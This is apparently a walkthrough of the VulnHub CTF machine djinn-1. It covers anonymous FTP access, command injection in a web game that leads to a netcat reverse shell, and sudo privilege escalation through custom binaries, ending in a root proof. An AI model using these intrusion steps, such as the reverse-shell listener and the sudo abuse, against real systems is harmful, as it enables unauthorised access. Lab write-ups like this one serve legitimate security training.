Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You’ll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux
information gathering
first use nmap as usual
1 2 3 4
root@kali:~# nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.127 Host is up (0.00013s latency). MAC Address: 08:00:27:03:DB:2D (Oracle VirtualBox virtual NIC)
root@kali:~/vulnhub/djinn-1# ftp 192.168.56.127 Connected to 192.168.56.127. 220 (vsFTPd 3.0.3) Name (192.168.56.127:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt -rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt 226 Directory send OK. ftp> get creds.txt local: creds.txt remote: creds.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for creds.txt (11 bytes). 226 Transfer complete. 11 bytes received in 0.00 secs (109.6142 kB/s) ftp> get game.txt local: game.txt remote: game.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for game.txt (128 bytes). 226 Transfer complete. 128 bytes received in 0.02 secs (7.0244 kB/s) ftp> get message.txt local: message.txt remote: message.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for message.txt (113 bytes). 226 Transfer complete. 113 bytes received in 0.05 secs (2.4331 kB/s)
use cat command to check the content
1 2 3 4 5 6 7 8
root@kali:~/vulnhub/djinn-1# cat creds.txt nitu:81299 root@kali:~/vulnhub/djinn-1# cat game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize. root@kali:~/vulnhub/djinn-1# cat message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
use Netcat to make a connection so that we can play the game
Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (9, '+', 9) > 18 (3, '-', 1) > 2 (2, '/', 3) > 2 Wrong answer
HTTP/1.0 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 379 Location: http://192.168.56.127:7331/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A Server: Werkzeug/0.16.0 Python/2.7.15+ Date: Sat, 23 May 2020 05:03:45 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A">/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A</a>. If not click the link.
root@kali:~# nc -lvp 8080 listening on [any] 8080 ... 192.168.56.127: inverse host lookup failed: Host name lookup failure connect to [192.168.56.126] from (UNKNOWN) [192.168.56.127] 47358 bash: cannot set terminal process group (758): Inappropriate ioctl for device bash: no job control in this shell www-data@djinn:/opt/80$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@djinn:/opt/80$ whoami whoami www-data
I know you've came to me bearing wishes in mind. So go ahead make your wishes. positional arguments: wish Enter your wish optional arguments: -h, --help show this help message and exit -g, --god pass the wish to god -p SHELL, --shell SHELL Gives you shell -e EXEC, --exec EXEC execute command
now we get a shell of user sam
1 2 3 4 5 6 7 8 9
nitish@djinn:~$ sudo -u sam genie -cmd new sudo -u sam genie -cmd new my man!! $ id id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare) $ whoami whoami sam
use the following command to get a stable shell,then enumerate again
1 2 3 4 5 6 7 8 9 10
$ bash bash sam@djinn:~$ sudo -l sudo -l Matching Defaults entries for sam on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn: (root) NOPASSWD: /root/lago
Privilege Escalation
and we get root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
sam@djinn:~$ sudo -u root /root/lago sudo -u root /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:2 2 Choose a number between 1 to 100: Enter your number: num num # id id uid=0(root) gid=0(root) groups=0(root) # whoami whoami root
Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc Path: /root Date: Sat May 23 11:23:39 IST 2020 Whoami: root __________________________________________________________________________
By @0xmzfr
Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
Summary of knowledge
Command execution bypass
Sensitive information disclosure
custom program Privilege Escalation
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lucifer11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…